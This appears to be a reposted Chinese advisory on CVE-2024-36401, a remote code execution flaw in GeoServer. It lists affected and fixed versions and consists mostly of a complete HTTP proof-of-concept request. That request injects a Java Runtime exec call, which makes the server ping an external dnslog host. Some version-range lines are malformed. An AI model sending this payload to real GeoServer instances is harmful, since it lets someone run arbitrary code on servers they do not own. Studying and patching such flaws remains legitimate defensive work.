漏洞描述
GeoServer是一个功能齐全,遵循OGC开放标准的开源WFS-T和WMS服务器。
CVE-2024-36401中,攻击者可构造恶意请求执行任意java代码,控制服务器。
影响范围
<= GeoServer < 2.25.2
<= GeoServer < 2.24.4
GeoServer < 2.23.6
安全版本
GeoServer 2.25.2
GeoServer 2.24.4
GeoServer 2.23.6
POC:
POST /geoserver/wfs HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/9.1.2 Safari/605.1.15
Connection: close
Content-Length: 362
Content-Type: application/xml
Accept-Encoding: gzip, deflate, br
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"ping xxx.dnslog.cn")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
原文始发于微信公众号(F12sec):【攻防高频漏洞】Geoserver表达式注入致远程代码执行漏洞(CVE-2024-36401)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论